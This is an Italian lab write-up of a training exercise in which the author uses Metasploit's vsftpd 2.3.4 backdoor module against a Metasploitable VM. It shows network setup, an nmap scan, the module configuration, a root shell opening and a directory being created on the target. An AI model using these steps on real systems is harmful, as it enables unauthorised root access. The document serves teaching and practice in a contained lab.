

Hacking con Metasploit

- 1) Per prima cosa ho cambiato l'indirizzo ip di Meta e ho configurato la rete come richiesto nell'esercizio, sia su Meta che su kali. Mi sono infine accertato che le due macchine pinghino.

```
GNU nano 2.0.7      File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.1.100  netmask 255.255.255.0  broadcast 192.168.1.255
    inet6 fe80::a00:27ff:feb1:9d67  prefixlen 64  scopeid 0x20<link>
    ether 08:00:27:b1:9d:67  txqueuelen 1000  (Ethernet)
    RX packets 0  bytes 0 (0.0 B)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 16  bytes 2424 (2.3 KiB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 4  bytes 240 (240.0 B)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 4  bytes 240 (240.0 B)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

(kali㉿kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=2.19 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.17 ms
^C
— 192.168.1.149 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 1.165/1.675/2.186/0.510 ms
```

- **2)** Lancio una scansione con nmap su Meta per scoprire i servizi attivi. Proveremo ad exploitare il primo servizio della scansione, il servizio ftp in ascolto sulla porta 21/tcp versione vsftpd

```
(kali@kali)-[~]
$ msfconsole

Metasploit v6.2.26-dev
--= 2264 exploits - 1189 auxiliary - 404 post - 951 payloads - 45 encoders - 11 nops --=
--= 9 evasion --=

Metasploit tip: View a module's description using 'info', or the enhanced version in your browser with 'info -d'
Metasploit Documentation: https://docs.metasploit.com/

https://metasploit.com

(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:34 EST
Nmap scan report for 192.168.1.149
Host is up (0.0011s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11           (access denied)
6667/tcp  open  irc           UnrealIRCd

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.91 seconds

(kali@kali)-[~]
$
```

- **3)** Tornando su msfconsole, controlliamo se esiste un exploit per il servizio vsftpd con il comando search e scopriamo che c'è una backdoor. Usiamo il comando use per utilizzare tale backdoor; successivamente, usiamo il comando show options per capire quali parametri configurare. Configuriamo con il comando "set RHOSTS" l'indirizzo ip della vittima.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -  -                                     -              -      -    -    -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
PAYLOAD   ruby             yes       The name of the payload to send to the target

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.1.149	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	21	yes	The target port (TCP)

- **4)** A questo punto configuro il payload. Visualizzo tutti i payloads compatibili con show payloads. Poichè c'è un solo payload disponibile, è impostato di default. Di conseguenza, possiamo procedere a lanciare l'exploit (dopo aver controllato nuovamente con show options) con il comando exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact		normal	No	Unix Command, Interact with Established Connection

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.1.149	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	21	yes	The target port (TCP)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Payload options (cmd/unix/interact):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.1.149	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	21	yes	The target port (TCP)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Exploit target:
```

Id	Name
0	Automatic

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43011 → 192.168.1.149:6200) at 2023-03-06 10:05:55 -0500
```

- **5)** Al secondo tentativo, riusciamo ad aprire la shell su Meta: eseguo ifconfig, assicurandoci che l'ip sia quello di Meta.

```
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43011 → 192.168.1.149:6200) at 2023-03-06 10:05:55 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:01:58:09
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe01:5809/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1265 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1275 errors:0 dropped:0 overruns:0 carrier:0
```

```

TX packets:1275 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:99128 (96.8 KB) TX bytes:88906 (86.8 KB)
Base address:0xd020 Memory:f0200000-f0220000

lo      Link encap:Local Loopback
        inet addr:127.0.0.1 Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING MTU:16436 Metric:1
        RX packets:658 errors:0 dropped:0 overruns:0 frame:0
        TX packets:658 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:289477 (282.6 KB) TX bytes:289477 (282.6 KB)

```

- **6)** Infine creiamo la directory nella root di meta, chiamata test_metasploit con il comando mkdir

```

reset_logs.sh
vnc.log
sudo mkdir /test_metasploit
ls
Desktop
reset_logs.sh
vnc.log
cd root
sh: line 12: cd: root: No such file or directory
ls
Desktop
reset_logs.sh
vnc.log
cd root
sh: line 14: cd: root: No such file or directory
ls
Desktop
reset_logs.sh
vnc.log
cd ..
ls
}
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
cd root
ls
Desktop
reset_logs.sh
vnc.log

```